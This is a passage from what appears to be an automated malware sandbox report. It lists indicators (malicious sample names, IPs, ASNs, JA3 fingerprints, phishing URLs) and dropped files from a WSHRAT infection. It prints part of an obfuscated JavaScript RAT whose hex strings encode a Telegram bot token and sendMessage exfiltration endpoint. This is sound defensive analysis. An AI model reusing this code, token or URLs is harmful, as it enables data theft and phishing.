                                                                                                                                                                                      ORDER_INQUIRY_PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      rREQUESTFORQUOTATION2024.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      SecuriteInfo.com.Trojan.DownLoader16.37524.18705.18225.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      Se7CZnlXZZ.exeGet hashmaliciousAgentTesla, PureLog Stealer, zgRATBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      vjk2FB3esY.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      COMPANY PROFILE_pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220

                                                                                                                                                                                      ASNs

                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                      TELEGRAMRUDHL3546.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      DevxExecutor.exeGet hashmaliciousPython Stealer, Blank Grabber, CStealer, Discord Token Stealer, Millenuim RATBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      lzkaYYrJbB.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      MNhTlD222T.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      4Qkny6GqTM.exeGet hashmaliciousKeygroupBrowse
                                                                                                                                                                                      • 149.154.167.99
                                                                                                                                                                                      ORDER_INQUIRY_PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      rREQUESTFORQUOTATION2024.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      SecuriteInfo.com.Trojan.DownLoader16.37524.18705.18225.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      Se7CZnlXZZ.exeGet hashmaliciousAgentTesla, PureLog Stealer, zgRATBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      vjk2FB3esY.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      CLOUDFLARENETUShttps://01xz.jimdosite.comGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.82.195
                                                                                                                                                                                      https://eu-west-1.protection.sophos.com/?d=keysurgical.de&u=aHR0cHM6Ly93d3cua2V5c3VyZ2ljYWwuZGUvSG9tZS9TZWxlY3RMYW5ndWFnZT9sYW5ndWFnZT1lbi1VUyZyZWRpcmVjdFVybD1odHRwczovL2VuZXJncmVlbi5ycy8ud2VsbC1rbm93bi9hY21lLWNoYWxsZW5nZS8=&p=m&i=NjEwYjE2Y2U0Zjc0MWMwZTk2MmNlZjk5&t=OE0wZTk1N0Y5dDJ6N29CQlM3RlRxNW5DbXpKbTRqcWJzeTE0UnZUZXJyTT0=&h=ccb3dc1d93924e5398cb784943bcbc84&s=AVNPUEhUT0NFTkNSWVBUSVaHyS6hqym7qLqtAI_LAX_uaGik92MJH8on0iF38froOAGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.17.2.184
                                                                                                                                                                                      mrH7nYSmPU.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 104.26.5.15
                                                                                                                                                                                      mrH7nYSmPU.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 104.26.5.15
                                                                                                                                                                                      0CmMweT4Wf.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 172.67.205.94
                                                                                                                                                                                      https://content.td.org/r/11019?pocc=CERT_CC&TraxPassThrough=https://pibs.hiservers.net/vix/index.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 1.1.1.1
                                                                                                                                                                                      http://Cerberus-sharedoc.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 172.67.28.250
                                                                                                                                                                                      http://Cerberus-sharedoc.comGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
                                                                                                                                                                                      • 104.17.25.14
                                                                                                                                                                                      https://ibit.ly/vRhoHGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.17.3.184
                                                                                                                                                                                      TePd86X60h.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 104.21.77.72
                                                                                                                                                                                      FASTLYUShttps://01xz.jimdosite.comGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 151.101.2.79
                                                                                                                                                                                      SummaryForm_esjsRkPpIukVFv.zipGet hashmaliciousAsyncRAT, PureLog Stealer, zgRATBrowse
                                                                                                                                                                                      • 199.232.214.172
                                                                                                                                                                                      https://worker-dark-lab-5c16.al-ltiamet0010.workers.dev/?7hz=test@group.comGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 151.101.130.137
                                                                                                                                                                                      https://vk.com/away.php?to=https://tracker.club-os.com///////campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398%26test=false%26target=neoparts.com.br/seyi/2xu1/c3VwcG9ydC5oaXBAZG90Lmdvdg==&$Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 151.101.194.137
                                                                                                                                                                                      https://setopsaccom-my.sharepoint.com/:b:/g/personal/mcolchado_setopsac_com/EdegGaEQdopEuWC71vxM2u8BC1AoyqcAfqM5GjJo_9SU8A?e=4%3a15DEva&at=9&xsdata=MDV8MDJ8bmljb2xlLmNhbXBvc0BzZ3MuY29tfDhkNmZiOTRlOTA4ODQ5Y2E3OTE2MDhkYzZmODNmYjM5fGU5NmZhNzJiYzhkNjQ5NTc5NmJkYzdmOGRjMzBjYzg4fDB8MHw2Mzg1MDc4NTk4Mzk4OTM2NjZ8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDB8fHw%3d&sdata=Uk5oNFRzTUVyNXRpVFNuRWZoaEJRdzhySVlGR1p5NnhBVjQ3aWNGM3ZRZz0%3dGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 185.199.109.133
                                                                                                                                                                                      https://rzxt.yeadela.com/1mvQVZ3/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 151.101.194.137
                                                                                                                                                                                      http://pub.marq.com/34a28a00-9c6a-43a5-9e9d-e8027b355f51Get hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 151.101.0.237
                                                                                                                                                                                      https://krakenfiles.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 151.101.2.133
                                                                                                                                                                                      https://g3hmu.eq510.com/xMBT/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 151.101.194.137
                                                                                                                                                                                      ASBLANKPROXIESGBInvoice-883973938.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      Invoice Payment N8977823.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      Pending_Invoice_Bank_Details_XLSX.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      Pending_Invoice_Bank_Details_kofce_.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      Dadebehring PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      Update on Payment.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      tqfn0gJpLM.exeGet hashmaliciousAsyncRAT, PureLog StealerBrowse
                                                                                                                                                                                      • 45.133.174.75
                                                                                                                                                                                      Qzr31SUgrS.rtfGet hashmaliciousRemcosBrowse
                                                                                                                                                                                      • 45.133.174.22
                                                                                                                                                                                      OFFER DETAIL 75645.xlsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                      • 45.133.174.22
                                                                                                                                                                                      CLOUDFLARENETUShttps://01xz.jimdosite.comGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.82.195
                                                                                                                                                                                      https://eu-west-1.protection.sophos.com/?d=keysurgical.de&u=aHR0cHM6Ly93d3cua2V5c3VyZ2ljYWwuZGUvSG9tZS9TZWxlY3RMYW5ndWFnZT9sYW5ndWFnZT1lbi1VUyZyZWRpcmVjdFVybD1odHRwczovL2VuZXJncmVlbi5ycy8ud2VsbC1rbm93bi9hY21lLWNoYWxsZW5nZS8=&p=m&i=NjEwYjE2Y2U0Zjc0MWMwZTk2MmNlZjk5&t=OE0wZTk1N0Y5dDJ6N29CQlM3RlRxNW5DbXpKbTRqcWJzeTE0UnZUZXJyTT0=&h=ccb3dc1d93924e5398cb784943bcbc84&s=AVNPUEhUT0NFTkNSWVBUSVaHyS6hqym7qLqtAI_LAX_uaGik92MJH8on0iF38froOAGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.17.2.184
                                                                                                                                                                                      mrH7nYSmPU.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 104.26.5.15
                                                                                                                                                                                      mrH7nYSmPU.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 104.26.5.15
                                                                                                                                                                                      0CmMweT4Wf.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 172.67.205.94
                                                                                                                                                                                      https://content.td.org/r/11019?pocc=CERT_CC&TraxPassThrough=https://pibs.hiservers.net/vix/index.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 1.1.1.1
                                                                                                                                                                                      http://Cerberus-sharedoc.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 172.67.28.250
                                                                                                                                                                                      http://Cerberus-sharedoc.comGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
                                                                                                                                                                                      • 104.17.25.14
                                                                                                                                                                                      https://ibit.ly/vRhoHGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.17.3.184
                                                                                                                                                                                      TePd86X60h.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 104.21.77.72

                                                                                                                                                                                      JA3 Fingerprints

                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                      28a2c9bd18a11de089ef85a160da29e4http://Cerberus-sharedoc.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      https://ibit.ly/vRhoHGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqCFsCdS9PQdzgcwXeeOj6ZKV22HkdSZ8a2BtOkIwa8f5RXVVDG-2FZ4Tjk8EmmBNiUIJEg0D5Xhe9ZQ57qy-2BBAKnYhCs-2FX2ay-2BUG9X1hUYA5fYM3Z-_pYzszJtWvDo4XrPcIrPEj-2FfLRiscg7jJfoOh-2FPfOv-2FAqPi0uLUcGyBdzRdsUZJVEsUYrxMVvEbbsL7wbRHe2oe4LWkg8e50pd910Pzc7iWq3Z6cLQrtyam15B-2FHtpNbfS-2F-2FwyAD0IxTQRHbbOZT4bmkevKCyiXa3Rppr-2BL2ILAXZtSMjpjMo9KXeJPssmKH1S-2FeOXFZJONW6iLeJUXVTRnLkVzUX-2F6Mnbd9TRe3mn20-3DGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      https://jongordon.com/books/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      https://setopsaccom-my.sharepoint.com/:b:/g/personal/mcolchado_setopsac_com/EdegGaEQdopEuWC71vxM2u8BC1AoyqcAfqM5GjJo_9SU8A?e=4%3a15DEva&at=9&xsdata=MDV8MDJ8bmljb2xlLmNhbXBvc0BzZ3MuY29tfDhkNmZiOTRlOTA4ODQ5Y2E3OTE2MDhkYzZmODNmYjM5fGU5NmZhNzJiYzhkNjQ5NTc5NmJkYzdmOGRjMzBjYzg4fDB8MHw2Mzg1MDc4NTk4Mzk4OTM2NjZ8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDB8fHw%3d&sdata=Uk5oNFRzTUVyNXRpVFNuRWZoaEJRdzhySVlGR1p5NnhBVjQ3aWNGM3ZRZz0%3dGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      https://rzxt.yeadela.com/1mvQVZ3/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      https://1158563107.incognitoviewer.org/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      http://summitplatform.topGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      https://krakenfiles.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 23.221.246.93
                                                                                                                                                                                      • 20.12.23.50
                                                                                                                                                                                      a0e9f5d64349fb13191bc781f81f42e1mrH7nYSmPU.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      mrH7nYSmPU.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      0CmMweT4Wf.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      TePd86X60h.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      jHLijDfFFA.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      nMkQ2yFWe4.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      nMkQ2yFWe4.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      NFs_76042.msiGet hashmaliciousPrivateLoader, VMdetectBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      Purchase Order is approved20240509.cmdGet hashmaliciousDBatLoaderBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      feeding_book_2024_60Hz_R00.exeGet hashmaliciousPrivateLoaderBrowse
                                                                                                                                                                                      • 172.67.19.24
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      37f463bf4616ecd445d4a1937da06e19file.exeGet hashmaliciousPrivateLoader, VidarBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      INV_#016789.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      uLBFBa5ZvB.exeGet hashmaliciousLatrodectusBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      verycuteflowerpictureimage.jpg.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      mexicodatingloverforchildern.jpg.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      itBEKxL3Gw.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      SR-968_Equip_Matl_WDS_rev.Aa_04302024.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      ouTBFyJGN3.exeGet hashmaliciousDjvu, PrivateLoader, VidarBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      NEW PURCHASE ORDER.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      02.03.2023--ZA860 Order 428278 vom.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                                      • 104.21.25.148

                                                                                                                                                                                      Dropped Files

                                                                                                                                                                                      ⊘No context

                                                                                                                                                                                      Created / dropped Files

                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\U5RF0PQZ.json

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):789
                                                                                                                                                                                      Entropy (8bit):4.700988784695684
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:24:UCAeEYFCAeE+mLr2fK2gHm/KoF+xk2A7NLPg:UCAeZCAeXfRgHm/KoFeG7NPg
                                                                                                                                                                                      MD5:F83D14BDE41AE81F4CDF864966B5D460
                                                                                                                                                                                      SHA1:EDF103C7E3E7EE1B667F24E6CAA04324A723AD96
                                                                                                                                                                                      SHA-256:D1C2C9E550EE1404BF64E2B99A8426C4457A5E28186F42A8112BEF2221734354
                                                                                                                                                                                      SHA-512:872C36EDBC4BB4649C4D30A0EF8853CB19F109DA442364B5A8B382621B4613127E60842BC169C79EA077970BBCA8E5D06F1340CFFB30FA109BC826DD71383A18
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:{. "ip": "81.181.62.34",. "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "hostname": "81.181.62.34",. "latitude": 44.4626,. "longitude": 26.0737,. "postal_code": "011455",. "city": "Bucuresti (Sector 1)",. "country_code": "RO",. "country_name": "Romania",. "continent_code": "EU",. "continent_name": "Europe",. "region": "Bucure\u0219ti",. "district": "Municipiul Bucure\u015fti",. "timezone_name": "Europe\/Bucharest",. "connection_type": "Corporate",. "asn_number": 0,. "asn_org": "",. "asn": "",. "currency_code": "RON",. "currency_name": "Romanian Leu",. "success": true,. "premium": false.}

                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):308
                                                                                                                                                                                      Entropy (8bit):4.904465677888933
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:6:YWybucxaNmd4rpHX+4IZJaHzwnIdG+969E2F4/fH/LH7L+4:YWybucxaNmd4rpHMZIzdG+sy2FafrG4
                                                                                                                                                                                      MD5:BBE396B58337BB1C672998BF2EEC867A
                                                                                                                                                                                      SHA1:9044F0BFF816B4A62E7F22962E3BD2298A715B0B
                                                                                                                                                                                      SHA-256:8BCBD31A4DB775CFDD20E8C6657FB3FA308889BF61AB4F6E887C7BAE3DAC3F2D
                                                                                                                                                                                      SHA-512:2B50934EF1F70E17D4779B4804DC984F55235E9D229EA529E4BB4C36E3F0986B74C389599CEA4D74A016C6B3E85B83AF6793AED4D2FA885FEA0BE709909D18FD
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:{"status":"success","country":"United States","countryCode":"US","region":"IL","regionName":"Illinois","city":"Chicago","zip":"60666","lat":41.8781,"lon":-87.6298,"timezone":"America/Chicago","isp":"Datacamp Limited","org":"Binbox Global Services SRL","as":"AS212238 Datacamp Limited","query":"81.181.62.34"}

                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\6R293A2Y.json

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\System32\wscript.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):789
                                                                                                                                                                                      Entropy (8bit):4.700988784695684
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:24:UCAeEYFCAeE+mLr2fK2gHm/KoF+xk2A7NLPg:UCAeZCAeXfRgHm/KoFeG7NPg
                                                                                                                                                                                      MD5:F83D14BDE41AE81F4CDF864966B5D460
                                                                                                                                                                                      SHA1:EDF103C7E3E7EE1B667F24E6CAA04324A723AD96
                                                                                                                                                                                      SHA-256:D1C2C9E550EE1404BF64E2B99A8426C4457A5E28186F42A8112BEF2221734354
                                                                                                                                                                                      SHA-512:872C36EDBC4BB4649C4D30A0EF8853CB19F109DA442364B5A8B382621B4613127E60842BC169C79EA077970BBCA8E5D06F1340CFFB30FA109BC826DD71383A18
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:{. "ip": "81.181.62.34",. "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "hostname": "81.181.62.34",. "latitude": 44.4626,. "longitude": 26.0737,. "postal_code": "011455",. "city": "Bucuresti (Sector 1)",. "country_code": "RO",. "country_name": "Romania",. "continent_code": "EU",. "continent_name": "Europe",. "region": "Bucure\u0219ti",. "district": "Municipiul Bucure\u015fti",. "timezone_name": "Europe\/Bucharest",. "connection_type": "Corporate",. "asn_number": 0,. "asn_org": "",. "asn": "",. "currency_code": "RON",. "currency_name": "Romanian Leu",. "success": true,. "premium": false.}

                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\WS5HAR96.json

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):789
                                                                                                                                                                                      Entropy (8bit):4.700988784695684
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:24:UCAeEYFCAeE+mLr2fK2gHm/KoF+xk2A7NLPg:UCAeZCAeXfRgHm/KoFeG7NPg
                                                                                                                                                                                      MD5:F83D14BDE41AE81F4CDF864966B5D460
                                                                                                                                                                                      SHA1:EDF103C7E3E7EE1B667F24E6CAA04324A723AD96
                                                                                                                                                                                      SHA-256:D1C2C9E550EE1404BF64E2B99A8426C4457A5E28186F42A8112BEF2221734354
                                                                                                                                                                                      SHA-512:872C36EDBC4BB4649C4D30A0EF8853CB19F109DA442364B5A8B382621B4613127E60842BC169C79EA077970BBCA8E5D06F1340CFFB30FA109BC826DD71383A18
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:{. "ip": "81.181.62.34",. "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "hostname": "81.181.62.34",. "latitude": 44.4626,. "longitude": 26.0737,. "postal_code": "011455",. "city": "Bucuresti (Sector 1)",. "country_code": "RO",. "country_name": "Romania",. "continent_code": "EU",. "continent_name": "Europe",. "region": "Bucure\u0219ti",. "district": "Municipiul Bucure\u015fti",. "timezone_name": "Europe\/Bucharest",. "connection_type": "Corporate",. "asn_number": 0,. "asn_org": "",. "asn": "",. "currency_code": "RON",. "currency_name": "Romanian Leu",. "success": true,. "premium": false.}

                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\7za.exe
                                                                                                                                                                                      File Type:ASCII text, with very long lines (65534), with CRLF line terminators
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):631649
                                                                                                                                                                                      Entropy (8bit):3.6197110064206117
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:12288:MYeIrWr/qRigAyX/kngXFbjTLvaH28nZH19Iimg0VtxWvTbxzOObcizI/mofdEMZ:MYeIrWr/qRigAyX/kngXFbjTLvaH28n8
                                                                                                                                                                                      MD5:67AE1F3636DF193B2B7897BC536FCF76
                                                                                                                                                                                      SHA1:F3A94059ADECC0DE3615EBE2FB7DF65599B3361B
                                                                                                                                                                                      SHA-256:043DF4E99AEAA6F5873B0CF3DEC2694D5B8D1F4830B37C9E2A5FC16953BACCF5
                                                                                                                                                                                      SHA-512:2C0E76588A79F88036D51A4E628BF8120CA36A3C788B5066004955E0C2BE855AA8B5EE357E9B2332D5957CE3C6DA23D63539FA0EB730596E08A3574A180093C1
                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, Author: ditekSHen
                                                                                                                                                                                      Preview:..var _$_348b=["\x41\x53\x38\x35\x37\x35","\x52\x55","\x28","\x29","\x6F\x62\x6A\x65\x63\x74","\x73\x74\x72\x69\x6E\x67","\x22","","\x22\x3A","\x5B","\x7B","\x5D","\x7D","\x36\x39\x36\x38\x31\x32\x36\x34\x36\x38\x3A\x41\x41\x46\x42\x75\x63\x46\x30\x55\x6D\x68\x6D\x4B\x4D\x70\x5F\x52\x67\x43\x4A\x57\x4A\x56\x43\x37\x68\x6A\x47\x41\x4F\x32\x35\x6D\x77\x67","\x36\x34\x38\x31\x32\x37\x30\x39\x30\x38","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x74\x65\x6C\x65\x67\x72\x61\x6D\x2E\x6F\x72\x67\x2F\x62\x6F\x74","\x2F\x73\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65","\x4D\x53\x58\x4D\x4C\x32\x2E\x53\x65\x72\x76\x65\x72\x58\x4D\x4C\x48\x54\x54\x50","\x50\x4F\x53\x54","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x20","\x6D\x73\x78\x6D\x6C\x32\x2E\x78\x6D\x6C\x68\x74\x74\x70","\x47\x45\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x6F\x6E\x2E\x67\x65\x6F\x69\x70\x6C\x6F\x6F\x6B\x75\x70\x2E\x69\x6F\x2F","\x55\x73\x65\x72\

                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      File Type:ASCII text, with very long lines (65534), with CRLF line terminators
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):631649
                                                                                                                                                                                      Entropy (8bit):3.6197110064206117
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:12288:MYeIrWr/qRigAyX/kngXFbjTLvaH28nZH19Iimg0VtxWvTbxzOObcizI/mofdEMZ:MYeIrWr/qRigAyX/kngXFbjTLvaH28n8
                                                                                                                                                                                      MD5:67AE1F3636DF193B2B7897BC536FCF76
                                                                                                                                                                                      SHA1:F3A94059ADECC0DE3615EBE2FB7DF65599B3361B
                                                                                                                                                                                      SHA-256:043DF4E99AEAA6F5873B0CF3DEC2694D5B8D1F4830B37C9E2A5FC16953BACCF5
